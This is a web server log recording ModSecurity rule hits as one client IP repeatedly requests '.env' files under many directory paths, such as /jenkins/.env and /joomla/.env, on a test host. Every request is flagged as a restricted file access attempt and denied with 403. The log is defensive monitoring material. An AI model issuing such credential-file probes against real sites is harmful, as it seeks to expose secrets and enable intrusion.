[Thu Feb 26 01:03:06.957157 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH4gAAAAQ&quot;]
[Thu Feb 26 01:03:06.957341 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH4gAAAAQ&quot;]
[Thu Feb 26 01:03:07.068760 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ-Nuzf0JOOqB-ib2UlH5QAAAAQ&quot;]
[Thu Feb 26 01:03:07.069000 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ-Nuzf0JOOqB-ib2UlH5QAAAAQ&quot;]
[Thu Feb 26 01:03:07.069167 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ-Nuzf0JOOqB-ib2UlH5QAAAAQ&quot;]
[Thu Feb 26 01:03:07.158269 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /install/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ-Nu4Cbt-ue5ARpbmjlhQAAAAI&quot;]
[Thu Feb 26 01:03:07.158504 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ-Nu4Cbt-ue5ARpbmjlhQAAAAI&quot;]
[Thu Feb 26 01:03:07.158652 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ-Nu4Cbt-ue5ARpbmjlhQAAAAI&quot;]
[Thu Feb 26 01:03:07.189294 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /instantcv/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ-Nu4Cbt-ue5ARpbmjlhgAAAAI&quot;]
[Thu Feb 26 01:03:07.189541 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ-Nu4Cbt-ue5ARpbmjlhgAAAAI&quot;]
[Thu Feb 26 01:03:07.189702 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ-Nu4Cbt-ue5ARpbmjlhgAAAAI&quot;]
[Thu Feb 26 01:03:07.430003 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /items/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUkAAAAAc&quot;]
[Thu Feb 26 01:03:07.430273 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUkAAAAAc&quot;]
[Thu Feb 26 01:03:07.430456 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUkAAAAAc&quot;]
[Thu Feb 26 01:03:07.454602 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /javascript/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUkQAAAAc&quot;]
[Thu Feb 26 01:03:07.454833 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUkQAAAAc&quot;]
[Thu Feb 26 01:03:07.454984 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUkQAAAAc&quot;]
[Thu Feb 26 01:03:07.477146 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jenkins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUkgAAAAc&quot;]
[Thu Feb 26 01:03:07.477362 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUkgAAAAc&quot;]
[Thu Feb 26 01:03:07.477528 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUkgAAAAc&quot;]
[Thu Feb 26 01:03:07.487479 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /install/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ-Nuzf0JOOqB-ib2UlH8gAAAAQ&quot;]
[Thu Feb 26 01:03:07.487693 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ-Nuzf0JOOqB-ib2UlH8gAAAAQ&quot;]
[Thu Feb 26 01:03:07.487835 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aZ-Nuzf0JOOqB-ib2UlH8gAAAAQ&quot;]
[Thu Feb 26 01:03:07.529680 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /instantcv/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ-Nuzf0JOOqB-ib2UlH8wAAAAQ&quot;]
[Thu Feb 26 01:03:07.529914 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ-Nuzf0JOOqB-ib2UlH8wAAAAQ&quot;]
[Thu Feb 26 01:03:07.530094 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ-Nuzf0JOOqB-ib2UlH8wAAAAQ&quot;]
[Thu Feb 26 01:03:07.549379 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUlAAAAAc&quot;]
[Thu Feb 26 01:03:07.549608 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUlAAAAAc&quot;]
[Thu Feb 26 01:03:07.549763 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUlAAAAAc&quot;]
[Thu Feb 26 01:03:07.580486 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js-plugin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUlQAAAAc&quot;]
[Thu Feb 26 01:03:07.580692 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUlQAAAAc&quot;]
[Thu Feb 26 01:03:07.580839 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUlQAAAAc&quot;]
[Thu Feb 26 01:03:07.737485 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /items/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4fAAAAAY&quot;]
